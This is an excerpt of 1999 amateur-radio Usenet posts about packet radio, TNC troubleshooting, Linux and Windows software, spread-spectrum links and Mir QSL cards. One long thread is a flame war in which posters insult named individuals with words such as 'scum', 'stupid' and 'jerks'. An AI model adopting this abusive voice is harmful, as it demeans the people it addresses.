They provide the capability to run an entire OS (Windows 9x, Windows NT,
Linux, etc) as a task under Linux or Windows NT.

This works fine! My machine is running Linux all the time and runs both
Windows95 and WindowsNT WS in virtual machines.

Proxim would like to develop a Ham band SS card. One that completely stays in the ham band. I think they may, but they have a few higher priorities.

I provide a gateway service to local hams who want to use the packet cluster. These guys could care less about the infrastructure. All they want is contacts. They are contesters first, packet users second. They could give a shit less about Linux, Win98 or DOS. As long as the screen clicks up and a possible contact exists, they are happy.

So, a local LAN is all they need. Picture a radio tower with three beams with 120 degree coverage (each leg). Now picture an SS emitter at 200 feet hooked to each one of them. We are talking over 512 kbps and not 1 kbps FM. With all three tied together with Linux or NT, the local community has no need for 10 1 kpbs nodes in each town. One will suffice. It will handle all the users without contention. I can feed them weather radar, satellite photos, and all the political commentary they can stand, and not even bump into their contest data needs.

But your brain is too small to conceive of such a thing, or understand it, even if it was given in comic book form. Stick with your Baycom modem. You're doing just fine with it.

The APIs are all published, nothing proprietary about them.
I've coded to them.

This may be available from Red Hat's ftp site as a .rpm. The 2.2.12
kernel source should be also in a little while (it was released this
past Wednesday). I think the only new one in 2.2.12 is yam. Whatever
kernel source came on your Red Hat CD should have most of the others.

Then port your code to Linux and your problem will be solved. You
should probably subscribe to the linux-hams mailing list (send a message
to majordomo@vger.rutgers.edu with the words "subscribe linux-hams",
without quotes in the body of the message). That's where much of the
development is being discussed.

Bob

Hmmm ... no /usr/doc/howto.

What installs these? Is there an RPM? If yes, what is it's name?

The only source I find is header files, plus a few things I've installed
myself (updated samba, e.g.). So I would guess that I need to do
something specific to cause the sources to install. Will probably
need to add some disk first. No big deal, disk is cheap.

And those of us that HAVE tried Red Hat and the KDE (and other)
environments in Linux are well aware just how far behind Windows these
environments are today. I used to make my living in the Unix and in
the Windows world, until I retired. Unix for "sit in the closet" servers,
Windows for "sit in front of the human" workstations.

But that was not the point. Most hams now have Windows boxes in
front of them. To address the ham radio market we must target
Windows. Do this using java? Not as far as I can tell. You think otherwise.
Explain it to my old and addled brain: how to write device drivers?

> But then again, Hams are not supposed to be just consumers. They
> used to be the people who pulled radio technology ahead.

Radio technology?
But you spoke only of computers Steve.

The "radio stuff" happens mostly down at the device driver level.
Java does not help.

Tell you what you will find: Most Hams would really rather just go to the Internet for most of that stuff. Paying a small monthly fee for much better access than your SS system can legally or physically provide makes more sense to them. As for the Ham Radio related traffic, you will discover that a 56kb SS system is nice to experiment with, but not really neccessary. There won't be very many customers, even among the geeks. There will be tons of hype in all the magazines, but not much action.

Look at how the geeks are turned off by the new tcpip stuff that allows use of native tcpip apps. This was often stated as a final goal by the geek crowd - until it came about. Now they could care less about it. Do you really expect these same jerks to shell out bucks for a new SS system, if and when it ever rises from TAPR's infamous "back burner"? Nobody else will care about it, so you better hope those geeks have deep pockets. They will look at the several hundred bucks and lots of education needed to use this non-Internet-related RADIO STUFF, compare that with the ten or twenty bucks for decent Internet service with no legal limitations, and make the obvious choice. (for a geek) This is based on your own quite correct statement that Radio is not on the top of these people's list of interesting things.

> But your brain is too small to conceive of such a thing, or understand
> it, even if it was given in comic book form. Stick with your Baycom
> modem. You're doing just fine with it.

Yes, you are right of course. I would much rather have a usable 50 buck "BayCom" type modem that actually exists, than any number of TAPR's "maybe someday" projects that are ill-conceived to start with.. My "BayCom" is

working right now. It works great, and gets used every day.

Actually, my modems are Tigertronics "BayPak" modems, which are more RF resistant than the original BayCom design, and made with surface-mount components. It's the BayCom design, slicked up and manufactured here in the US. Great stuff.

I do not have any confidence in the TAPR SS project, and have seen no convincing evidence that it would be very useful even if it did come out. You'll have to try to impress somebody else with all that hot air you've got there. - Because hot air is all you've got to show, and we've all heard it many times before. (Yawn) With each repetition it gets just a little more boring... Knock yourself out.

Whatever happened to TAPR's TNC95, by the way? Die on the vine? I remember when an early version was being tested with TexNet on the chip, then it was never mentioned again. Maybe Someday?

It's a cruel world out there, my boy, red of tooth and claw. Often we find ourselves needing to consider personal, economic and political issues we would rather not dirty our hands with, due to the number of people involved in our hobby.

You like to pretend that all Hams are intrepid experimenters. That's fine in itself, but you really should take a break on expecting everybody else to go for the same fantasy. Think of it as a private thing, and you'll do a lot better. Keep that nonsense to yourself.

Fact is, all the development in the world will do you no good if there is no structure in place to build and market what you have developed. - And those will do you no good if you have no market. To do these things, a more realistic view of exactly what most hams are or are not interested in would serve you very well.
TAPR's "philosophy" and actions over the last decade have served to dishearten and discourage lots of Hams away from Packet in the US, and has caused the decline or destruction of most of the US Packet net. The constant storm of negativity has had it's effect. When you put stupid people in charge, stupid things happen.
The people running TAPR have been stupid enough, like you, to give their fantasies preference over reality in their alleged "reasoning", and busted butt to serve a market that wasn't really there. While they were busy misdirecting their energies this way, they managed to dishearten and discourage Packet users and networkers all over the US.

So it should be no surprise to you when I say that the US amateur tcpip geeks not only screwed up the US Packet net, but managed to shoot their own foot in the process. This monumental, counterproductive stupidity will be TAPR's legacy. This is what TAPR has done for the US Ham Radio community during the last decade. - The one TAPR project that didn't die a slow, horrible death on the back burner, but instead got first priority and immediate action.

Even if one has to go out and purchase a refurbished 486 from a dealer,
it won't cost much. (Which is very appealing to hams ;-)

Given a choice between running Linux and Windows on an old 486, I would
choose Linux everytime.

Everytime you show your ignorance, you go into your emotional tantrum. Take your arguments against high speed packet into the automobile. Sure I can get a radar picture over the internet. What good does that do when mobile? I know, you would want me to buy a Cell Phone... That BBS is the only solution?

> Look at how the geeks are turned off by the new tcpip stuff that

It's not the tcpip stuff. It's that they don't want to play netrom, rose, or any other mode at 30 baud effective.

You see, that is where your emotional fixation on TAPR has blinded you. You keep whining about TAPR this, and TAPR that, and even some of the men who currently make up the company. TAPR is insignificant when compared to companies like Kenwood, Yaesu, and Alinco. They also are insignificant to companies like Proxim. When I speak about SS, I'm talking about Proxim and Lucent. Both have products now in the $120 class. That is, an ethernet card replacement (radio and TNC to you). The coax I used, cost more than the two SS products I used.

I currently have two of these running 4 miles. If I had more altitude I could get better range. So, not only can SS be used point to point, it can be used in a LAN. Right now I must operate under Part 95 rules, because the Part 97 rules are 20 years behind technology. If Part 97 was corrected (as TAPR is in the trenches fighting for, not Chuckles Brabham by the way) then I could use cheaper coax and amplifiers to

span the whole state.

> What do you have on air NOW?

4 miles of 1.6 Mbps half-duplex, tied to a 70cm 9600 baud to the
local TAPR based digital repeater, which connects to the 30 baud
effective nodes. I could even have my software exchange mail with
Chuckles.

> Blowing smoke as usual Steve?

To do it in java only, you would need to use sockets. (communicating
with raw drivers at the other end of the socket). Java also has
a native methods interface, in which low level C or assembler can be
used to interface with your java. The point isn't, that since I need
a device driver, and I have to do that in C or assembler, so why buy
java? The point is that java is a much better language to develop
a large team oriented project. In communications projects you will
need a low level interface. You can't get around that. But you don't
have to continue in that language all the way up to the user interface.
But if your complaint is now, that C costs money, then my response is
that GNU C will do whatever it is you need, that Borland or Microsoft
was required to do before. Most people complain about java because
mostly they see only applets. A java application is just as speedy as
any Motif or windows based C or C++ application. The IBM AIX 4.3 OS is
now very heavy in java applications, and they run just as fast as the
old Motif apps did. The difference being, that no one can read the C
code (if you've read Motif code, you'll know what I mean) to update it
and it even looks better in java foundation classes.

Jovial and ADA are the only two high level languages I know, that don't
require any assembler. I don't consider C a high level language,
because 1) it's too verbose, and 2) the programmer is forced to manage
details about the data.

3659. RF Interference

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-29 00:00:00 UTC
From: cmjk2og@aol.com
Message-ID: <19990829073319.05971.00001488@ng-fs1.aol.com>
Source record: 16917

Can anyone explain why I get a dual audio tone at 7.170 MHZ and harmonics every 54 KHZ when the desk top comes up on my computer screen using Win 95? It does not happen in the booting process until the desk top screen actually appears. If I boot the computer in DOS there is no tone. Hope someone has a handle on this.

It probably has to do with the monitor modes. Try changing your
windows resolution and color depth and see if the RFI changes.

I've had this happen before. I may be wrong, but I've always thought it was stray RF from the video card or monitor cable that caused those "birdies" associated with the display of graphics.

Some monitor cables have RF chokes on them. If yours doesn't, you can get a clip-on model from a mail-order electronics supply for a few bucks. I can't guarantee that one of them will help, but if your monitor's cable doesn't have one it's probably worth a try.

Ground everything too of course, but you've probably already tried that.

3662. Help locate antenna program

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-29 00:00:00 UTC
From: Bill <kg8aw@ismi.net>
Message-ID: <37C93EB1.19906E06@ismi.net>
Source record: 16920
Cross-posted to: rec.radio.amateur.boatanchors,rec.radio.amateur.digital.misc,rec.radio.amateur.dx,rec.radio.amateur.equipment,rec.radio.amateur.homebrew,rec.radio.amateur.misc

I need help locating a computer program. The program may have originally been on one of the early 90's Buckmaster CD's. Some of you may be interested in the program and hoping someone knows of the program. I have lost track of it and would like to find it again. The program had several functions, but the one I used and liked did the following: Start the program, tune your receiver to a signal or beacon, rotate beam antenna from stop to stop (360 deg), At the end of the rotation the program would display on screen a picture of the antenna receive pattern. As I find the receive pattern is very close to the transmit pattern in most cases, the program was very useful. The only connection needed was to connect receive audio to the computer soundcard. I have no idea of the program name or who wrote it. Sure hope one of you knows. Please drop me a note if you can help. Thanks, Bill, KG8AW

You need to install the kernel sources and the howto documents.
I don't know what the RPM's are called, as I don't know what distribution
you have.
On my SuSE 6.1 system the howto documents are called: howto-99.4.17-0
But you normally would not need that name, you just browse through the
descriptive list in YaST.

3667. MorseMania 1.5.1 Released

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-29 00:00:00 UTC
From: csmolinski@erols.com
Message-ID: <csmolinski-ya02408000R2908991836490001@news.erols.com>
Source record: 16925
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.shortwave,rec.radio.amateur.misc

For Immediate Release
Monday, August 29, 1999:

Morse Mania version 1.5.1 has been released and is now available.

Morse Mania is a morse code tutor for the Macintosh. The software package helps you learn morse code at speeds ranging from 5 to 30 words per minute. Morse Mania is ideal for amateur (ham) radio operators who desire to learn or improve their morse code proficiency, especially in order to upgrade their license class.

This version fixes a bug which caused only the first letter of abbreviations to be sent.

Morse Mania is shareware. An uncrippled, fully functional copy of Morse Mania may be downloaded from the Morse Mania web site. The URL is http://www.blackcatsystems.com/software/morsemania.html

So use tcp/ip or one of the modern HF protocols.
I don't care, just do it via ham radio.
My bet stands.

Um ... "use APRS" ... to send an email reply?
Via digipeaters?
Huh?

Ya gotta remember this is Steve!
When asked about ham radio, he always responds about anything
other than ham radio. Don't be surprised that he seems to think
there is no difference between part 95, part 15, and part 97.

Oh, sorry, thought I had mentioned that I am running Red Hat 6.0,
with the CD kernel (2.2.10?). Found some stuff thanks to posts
here, but still have not figured out exactly which bits are needed.

The question was how to write those raw drivers at the other
end of the sockets. Once you have the drivers, the usual socket
interface works fine. Example: SNOS has PACTOR and CLOVER
drivers under it's socket code, as well as AX.25, NET/ROM and
raw serial. How would I write them in Java?

I recently purchased a second hand FT209RH. It works,
but every time it has been off for a while it needs
reseting. I suspect it requires the lythium cell
replacing, but despite removing all screws and the
case becoming loose I cannot seem to remove it from
its case..

Any information on its dissasembly would be most wellcome.

Sorry, I have no listing of the RPM's that are on a RedHat CD.
But there is a package manager (I believe they call it "glint") that
allows you to browse through the packages and select something to
install.
Use that to install the packages for kernel sources and for howto
documents.
After that, they should be on your disk.

Next time you install the system, select "install everything"... that
saves you having to locate each and every bit.

No emotional tantrum on my end. I just pointed out that you operate on the
'LandLine Lid" system, and you do.

I (sneered) because LandLine Lids such as yourself are the scum of the
Packet Radio community.

> Take your arguments against high speed packet into the
> automobile. Sure I can get a radar picture over the internet.
> What good does that do when mobile? I know, you would want me to
> buy a Cell Phone... That BBS is the only solution?

This is the funny part.... What you are talking about is available
commercially, and will become cheaper and cheaper as time goes on... I
should know, since a close relative designed and implemented a WORKING 56 kb
SS cellular system for a major communications carrier SEVERAL YEARS AGO. At
that point he only had a couple of hundred customers. The business has grown
since then, as you can imagine.

We always get a good laugh out of TAPR's unsuccessful struggle to "pioneer"
a system that my relative had flying several years ago.

Nope, it was the tcpip stuff, since NetRom, ROSE, 30 baud, etc. is not
required by the new software. Hey, Steve, you ignorance is sticking out! --
But then again, it always does.

>
> > Do you really expect these same jerks to shell out bucks for a

Nope, this is where my objective observation of the habits and general character of LandLine Lids is serving me very well.

> You keep whining about TAPR this, and TAPR that, and even some of the
> men who currently make up the company. TAPR is insignificant when
> compared to companies like Kenwood, Yaesu, and Alinco.

Really off in left field this time, huh Steve? But then again, you usually are.

TAPR has a responsibility to the Amateur Radio community whether you want to admit it or not. Yes, TAPR members ARE responsible for their actions.

>They also are
> insignificant to companies like Proxim. When I speak about SS, I'm
> talking about Proxim and Lucent. Both have products now in the $120
> class. That is, an ethernet card replacement (radio and TNC to you).

...And this is why you cannot produce a practical working model, I guess?

>
> I currently have two of these running 4 miles.

Wow! I guess that's "practical", if you want to stretch the meaning of the word far enough. Is it done on a Ham Radio freq, or is this more of your "CB" stuff?

>If I had more altitude
> I could get better range. So, not only can SS be used point to point,

> Brabham by the way) then I could use cheaper coax and amplifiers to
> span the whole state.

Actually, TAPR is working to bypass the "commercial content and decency" restrictions on Hams so that they can sell the "Be an ISP" horse-hockey. As long as Hams have to avoid commercial content and indecent stuff, amateur tcpip will ALWAYS be a third-rate imitation of what you can more easily and cheaply get from a regular ISP.

Poor old dumb Steve, clueless again.

No, Steve.. All you can do is put a message on a system that used to use Ham Radio but no longer does. Your message is highly unlikely to even make it out of your state via Ham Radio. I can tell you for a fact that it won't make it to Hank's neck of the woods. Your "Landline Lid" buddies will yank it off the Ham Radio digital net and send it via the telephone lines instead. - It just kills them to see Hams using Radio, so that try to undercut and discourage that kind of activity whenever they can.

Go ahead and "play dumb", Steve. You're a natural at it.

You knew EXACTLY what Hank was talking about, but didn't have the stones to do anything about it except "play dumb".

Steve is much closer to being a "CB'er" than he is to being a Ham. That's what you are missing.

CB ops in Europe have taken a real shine to *NOS and tcpip.. I think this is where Steve and his ilk will end up eventually, as Ham Radio is just too restrictive for them. This won't happen though, until they have tried and failed to remove most of the regulations and restrictions against commercial and indecent content from Ham Radio.

Give them another year or two. If they can't turn Ham Radio into another "CB", then they will probably give up and move on to where they really belong.

Steve is a pioneer in this respect, and his efforts to move amateur tcpip on to the CB bands where it belongs should be encouraged and applauded. Let's all give our "good buddy" Steve a hand!

10-4 ?

3680. Getting Started with Packet - Some questions

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-30 00:00:00 UTC
From: David Castor <dave_castor@easypower.com>
Message-ID: <ZFxy3.243$1E3.31937@news.uswest.net>
Source record: 16938

Folks,

Having no previous experience with packet, I just acquired an old MFJ-1278 Multimode Controller (1200 baud). I spent the weekend trying to get it to receive packets on 2M , and so far I'm still flummoxed.

Here's where I'm at:

TNC and computer seem to be talking just fine - I can issue commands and I get appropriate responses.

I ran through calibration procedures for modulator and demodulator

TNC seems to be getting good audio from my radio (ICOM-746) - the DCD light comes on whenever I hear the packets.

But the TNC doesn't send the packet text to the computer - most of the time.

I am in MONITOR mode, MALL is on and MRPT is on. Just when I was thinking the thing wasn't working at all, the following line appeared on the screen:

W7ALN-12>ID:TheNet Plus 2.12st (ESPR)

Over the next few hours, I saw several more of these ID messages, but nothing else. I was able to find a counter in the TNC that keeps track of bad packets received, and there were quite a few. I put the TNC in TRACE mode and saw that each packet was coming through at least as hexadecimal, and I could read the call signs, but the text was gibberish.

I then set the TNC to accept non-AX.25 packets and this resulted in more text appearing, but it wasn't too meaningful:

W7ALN-12>ID:TheNet Plus 2.12st (ESPR)

W7ALN-12>N7DXT-1:lpn@a
n`lp
W7ALN-12>N7DXT-1:lpn@a
[RLI-19.13-HIX$]

So, at this point, I'm not sure where my problems are (other than not knowing much about packet radio).

If anyone can offer some suggestions I'd really appreciate it. Thanks for your time.

Dave, AB7ZV

Greetings again :-))

Having followed the thread from its start, I tried to inject a few questions as to the advantages of *NOS systems. I seem to have failed to get my point over so I'll have another go...

First off, I agree with Charles about Windows being common and 'drivable' by anyone over the age of 8 years. What I don't agree with is that it is the answer to all problems.

For someone requiring access to the BBS (AX25) or TCP/IP radio networks there are several solutions - I would recommend the software from SV2AGW (any search engine will find the home page) which has 32 bit driver support for soundcards, baycom, SCC, TNCs, YAM, G4XYW, OE5DXL and others.

If you don't mind running 16 bit drivers under windows then flexnet is OK but liable to problems with conventional memory.

Second point is that of providing the services that people can connect to. No good if the network is all 'takers' and no 'givers'. What everyone seems to have missed is that it is EXREMELY difficult to provide these services under Windows. Try running WinFBB and exporting the bulletins as NNTP and the personal mail as SMTP or POP mailboxes if you don't believe me!!

I've not seen a DX cluster or Convers server that runs under Windows - maybe someone could point one out if there is such a thing (and I don't mean running in a DOS box either).

The only two viable solutions to the 'provider' that I'm aware of are Linux and *NOS. Again, if anyone has an alternative, lets hear of it rather than the vague "I'm not going to do the work for you" crap that is usually seen here.

These are the points I tried to make by asking questions in the newsgroup but there seems to be this idea that if the answer is known, then its smarter to infer that the questioner is stupid rather than supply an answer. If any of you are so smart that you know of alternatives to those I've outlined then try to be constructive and specific in your reply - please try to encourage 'newbies' with information and not "you must be dumb if you don't know that" and "the information is out there if you bother to look" - many don't know how to look which is why they come here to ask the questions in the first place

This is what SNOS is all about. But it is not ready for "prime time"
yet, and won't be for quite awhile. However it is available, and it
does work, and automates the bulletins/nntp and messages/pop stuff.
Also automates a lot of other things, does PACTOR and CLOVER,
and has all the usual *NOS AX.25 and NET/ROM bugs removed.

When would it be ready for "prime time"? When there is interest by
enough folks to convince me it is worth continuing the effort.

From: "Gerry W." <gwhisler@nospam.bellatlantic.net>
Message-ID: <R3Ey3.381$cM2.93613@typhoon1.gnilink.net>
Source record: 16943

My PK-232 has stopped responding to my pc. I was using it regularly, and now I get the message from lan-link "PK-232 not responding". I have changed cables, computers, I am using the correct com port, etc. I have hooked this up to many different computers, and usually have no problems, but now I cannot get it to respond. I don't even get the usual garbage you see before you use the '***' autobaud routine. When I power up the PK, I get all the right lites and the signal meter is working. Can anyone give me some ideas on this? thanks

Hello Gerry,

Have you done a "hard reset"? The PK-232 may be locked up in Host mode, or
stuck in some odd state.

If your not sure of how to do the reset, just ask.

Also check your power supply. If a PK-232 has less than 12.5V or 900 milliamps
the may behave badly.

TCP/IP traffic will also exhibit the same symptom.

3695. Re: kam and baud setting !!!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-31 00:00:00 UTC
From: Barrett Thompson <barrettthompson@mindspring.com>
Message-ID: <7qi4ad$9db$1@nntp9.atl.mindspring.net>
Source record: 16755

Tim/Jim,

I, too, had problems with my KAM+ until the voltage was correct. I my case, the embarrasing truth is that I made the mistake of using a wall-wart transformer from a cordless phone base-set to power the KAM+, for no better reason than the connector fit quite nicely into the KAM (!!). Turns out that the phone transformer output is 13V ***AC*** whilst the KAM is expecting 13V ***DC***. If the front panel LED's are flickering when you turn the power on without any cables connected (it's obvious when they do this) suspect AC power. Since you had it working earlier this is probably not your problem (?).

I appreciate your frustration, Tim. It took me two days, multiple hard reboots of the KAM, two serial cables, three host software packages, etc. to discover the simple cause. Once I hooked up true DC, the KAM sprang to life perfectly and has been a joy since. What software are you using to talk to it? Getting started I used that simple DOS character program that comes with the KAM-- it's simple to iterate through the baud rates to find one that matches the KAMs default (which you activated when you did the hard reboot). Once connected to the tnc, you can set the startup baud rate to be whatever you want and it will remain.

E-mail me privately if your using the KAM software and we'll hook up by phone to troubleshoot.

Barrett / KE4R

It looks like you have landed on a channel where two TheNet nodes are
exchanging packets. Most of the packets cannot be decoded by your setup,
as they are a special protocol of communication between these nodes.

You can try to connect W7ALN-12
When it allows that, you can type things and see how it reacts.

When that works, your equipment is OK and you merely need some operating
practice :-)

When it refuses you in, you certainly are on the wrong channel. Probably
there is another frequency in your area where the user-user and/or user-bbs
traffic is going on.

Gerry, as quite a few people wrote, doing a hard reset will probable work, but if for some reason the PK-232 is in HOST mode. You can type the following from the keyboard once you bring up Lan-Link:

CTL-A OHON (in upper case)
CTL-W

CTL means hold down the control key while hitting the A or W key.

Hope this helps.

Source record: 16760

There seems to be some interest in the PK-232. I have added several MODS to my webpage for the PK-232 that you might want to take a look at. These are just a collection of article's that I have accumulated over the years. One article describes a circuit for the PK-232 to Ten-Tec OMNI transceivers.

Have a look.

> N2RHV@amsat.org

Here is the information from a Sarex Mailing List message...

QSL Information:
A few people have asked about the many qsl managers for Mir.
I asked the engineers at AMSAT-Russia, MAREX-Russia and RSA Energia, who
are the current QSL managers.

There were a few part-time QSL managers, but most are no longer providing
Mir / Sputnik QSL services. The only two official active QSL managers
are Dave Larsen N6CO and Sergej RV3DR.

The N6CO address is running low on QSL cards.
The RV3DR address is completely out of QSL cards.
The MAREX-NA team is working on the Final Mir QSL card with RV3DR.
We hope to have the final QSL design completed soon and a new order for
cards
placed. These new cards will be used to fill the back log of QSL cards in
Russia
and will be used for Mir contacts next year too.

Please provide the following information with your QSL or SWL card.

Return Name and Address, country, ZIP
Date and time of your contact, In UTC format
Signal report (Best guess)
Radio Station and Antenna (optional)

All Mir contacts, including SWL, Two-way voice or Packet connections
(R0MIR),
and including the Sputnik Satellites

Envelopes should be well sealed and do not include cash.
Send a SAE (Self Addressed Envelope) and one or two IRC coupons
(which can be purchased at major US post offices).
Do not make any notes on the out side of the envelope with Amateur Radio
Call signs visible.

Sergej Samburov
PO Box 73
Korolev-10 City
Moscow Area, 141070, Russia

****
The California address still has a short supply of cards in stock.
For Two-way contacts with Mir ONLY. Just for the call sign R0MIR and
R0MIR-1
No SSTV-SWL (Short Wave Listener) cards will be issued at this address.
No Sputnik-SWL cards

Dr. Dave Larsen - N6CO/K6MIR
PO Box 311
Pine Grove, California
95665
USA

Please include a SASE (Business Size Envelope) and two IRC?s for
international.
If you are sending an IRC, Please make sure it is dated 1999, as the post
office
won't accept IRC's dated over 1 year old.
Make sure the cancel stamp is in the right place on the IRC.
"Green Stamps" (USA ONLY) are appreciated for covering additional costs.

Current Mir Crew Members:
SOYUZ TM-29 arrived at Mir on February 20, 1999. Mir Soyuz TM-29 crew
consisted

of French cosmonaut Jean-Pierre Heignere, Viktor Afanasyev and Slovakian
Cosmonaut Ivan Bella
On February 28, some of the crew returned to earth, they were:
Slovak Ivan Bella and Gennadiy Paldalko.
Gennadiys mission lasted approximately 6 months (August 16 1998 - February
28
1999)

It would help if you mentioned where you were.

Most Radio Shacks in Canada carry the Basic study guide
or can get it for you. Local ham and electronics stores
like Radioworld in Toronto, Burnaby Radio Communications
in Vancouver, etc. carry such stuff too.

You might check http://www.rac.ca for more information.
They sell stuff too.

Kantronics allow other users to give away the DOS versionif they have it, so no need for you to buy it.

I am curious why you think Pacterm '98 is trash? We've put 2 years effort into 1.3.1 and listen to the problems our users have, and work with them on fixing them. I'll be glad to personally look at your problems with Pacterm '98 and find out what the issues you are having, so we can make you a happy user.

The mission of CSS is to provide high quality software for the ham radio community and to make sure that the ham community that has purchased the product gets service and support that is second to none.

Feel free to email me with your phone number, and I have Bill Campbell (WD4HEN) our support rep give you a call.

3707. Announcing eHam.net

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-02 00:00:00 UTC
From: W4AN <w4an@eHam.net>
Message-ID: <qLBz3.2722$Dj2.173040@monger.newsread.com>
Source record: 16765

Amateur Radio finally has its community site in eHam.net. On September 1, 1999, eHam.net opened its doors at http://www.eHam.net. eHam.net can best be described as a community of ham radio operators from all over the world. These ham radio operators share ideas through chat, contribute news articles, buy & sell, take practice exams, get propagation information, DX spotting, and a variety of other applications designed for hams.

eHam.net Features (version 1.0)

1) Callbook - More than just the FCC data, it also includes interesting personal notes submitted by each person.

2) DX Spots - Spots from around the world with one click access to QSL manager and callbook info.

3) Classifieds - Buy and sell your ham gear here (it's free!)

4) Ham News - Latest ham radio news with an opportunity to post your comments on each story.

5) Chat - Chat with hams around the world. Hold club meetings. Meet people here for on air schedules.

6) Ham Exams - Exams automatically generated from the FCC test pool. Take a test and see your graded answers immediately.

7) QSL Managers - Find the fastest way to get the cards you need.

8) Propagation - Why wait for WWV when you can get up to the minute data from NOAA.

9) Survey - Answer the question of the day.

10) Speak Out - A lively editorial forum for comment on ham radio topics.

11) eHam Detective - Search ALL ham radio mailing list archives on the web. Not just contesting.com.

12) Ham Spotlight - Each view of the home page includes a profile of someone from the ham radio world. Every time the home page is refreshed, the spotlight changes.

3) Links - On every page of the site you can type in a keyword to search. The site has over 2500 different ham radio links already. By far the biggest and best colletion of ham links on the Internet. We also have a rating system for each link entered. The eHam.net community can rate any link from 1 to 5 stars!

14) Friends Remembered - A place to remember SK friends. It occured to us that a callsign listing in the pages of QST magazine just wasn't enough.

15) Product Reviews - Review any ham product you own or come here to read reviews about products you are considering buying. I know a couple of companies that will hate us for putting this one up!

73 & thanks for your time & consideration.

Bill Fisher, W4AN

3709. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-03 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7qnisc$dk6$1@news.hawaii.edu>
Source record: 16767
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate audience, below is a list of the rec.radio newsgroups. In most cases, a group's name will explain its purpose. Cross-posting should rarely be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-running thread results from a single cross-posted article, and its content drifts further and further away from being "on-topic" in the various NGs which receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups" posted on the 15th of each month.

Jeffrey Herman, KH6O
(rec.radio.amateur working-group)

*It's been sadly reported that the moderator was lost to us in an automobile accident; the future of this newsgroup is not known. 73 Bill...

You only need the GPS commands if you intend to make it a tracker.
APRS software dosen't need anything beyond a plain TNC-2 and anything you're likely to see today will work.

Welcome to APRS!

3714. need help with new Alinco DJ191 HT

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-03 00:00:00 UTC
From: timdav <timdav@bright.net>
Message-ID: <01bef65b$0d3e5c00$83138fd1@default>
Source record: 16772

If there's anybody out there up-to-speed with the new
breed of handhelds, I'd appreciate an e-mail.

After using an old Icom 2AT HT for 18 years, I bought
a new Alinco DJ-191 HT today at AES in Cleveland.

It's in the battery charger now for it's initial 12-14 hour
charge.

But, my problem is....yikes! Initially programming the
thing is a nightmare. I never used to think of myself
as a dummy....college wasn't this difficult! Five minutes
of reading the instruction manual sent me running for
the refrigerator and a couple cold ones! Hi,hi.

I guess I'm overwhelmed.

Anybody care to lend this now-feeling-dumb ham
a hand on e-mail please?

Many thanks.

Tim, KD8GZ/NE Ohio

3715. where Tv tuner UV1336 datasheet?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-04 00:00:00 UTC
From: remamare@bitline.com.br
Message-ID: <7qq3f0gnj1@nnrp1.deja.com>
Source record: 16773

Hi!

I've been gathering information about how to build an radio modem,
(high baud rate, but only 10 to 20 meters) and
one of the ideas is to use an TV tunner as front end.
UV1336 from Philips seems excelent: PLL and I2C, wide band
coverage, etc.

Do you know where to find the datasheet???
(a couple of years ago I found it on the Philips Components site, but
nowadays it's no longer there!)

Thank you!!

I am clearing out the ham shack of all my QST magazines once again. If anyone is interested, I am selling
1992-1998 at $1.00 ea. (you pay shipping costs however you want them shipped) for 1 to 10 issues. If you
are interested in over 10 issues or the entire collection, make me an offer. I am willing to ship anywhere on
this planet so long as you are willing to pay the actual shipping costs.

Here are the issues that I have:

QST

1992 Jan - April $1.00 ea.
1993 Jan - Feb & April - Dec $1.00 ea.
1994 Jan - Oct & Dec $1.00 ea.
1995 Jan - Dec $1.00 ea.
1996 Jan - Dec $1.00 ea.
1997 Jan - Dec $1.00 ea.
1998 Jan - Dec $1.00 ea.
1999 Jan - Current $2.50 ea.

All the issues are in perfect condition with no ripped pages or covers. Sorry I don't have anymore, but the last
time I did this in 1993, I sold all my 1989 through my 1992 issues less a few months still available.
If you would like to check my references, please feel free to do so. I am on Ebay and my user ID is: Andrew45
http://cgi2.ebay.com/aw-cgi/eBayISAPI.dll?ViewFeedback&userid=andrew45

The Automatic Packet Reporting System (APRS) is taking off big time in the UK and the Channel Islands, with many, many stations now active all over the country on the national APRS frequency (144.800). During the lifts on 2m over the last few days, the screen has become chock-a-block with callsigns (some of them even digipeated by a station in France).

To find out more about APRS, and packages like UI-View and WinAPRS, take a look at the UK APRS Whitepaper -- the URL is in the sig below.

Hello John:

Timewave provides two programs for the PK-232MBX and PK-232/DSP.

PC PakRATT for Windows ver. 2.1 (2.o has a Y2K problem). This is a 16-bit
program for WIN3.1, it also runs on WIN95/98/NT. This program supports one or
two TNC's simultaneously.

PK TERM '99 is a 32-bit program for WIN95/98/NT. It runs under all of the
32-bit Windows releases 95/98/NT/2000. You can download a trial version from
http://www.timewave.com and give it a test drive.

Either program is $79.95

If you have further questions I'll be glad to help

Actually, I would avoid Timewave's poor product support (at least in my situation) and temperamental/buggy software and go with Winpack. It's a solid program with frequent updates
and great support from the author. I believe the latest version is 6.42.

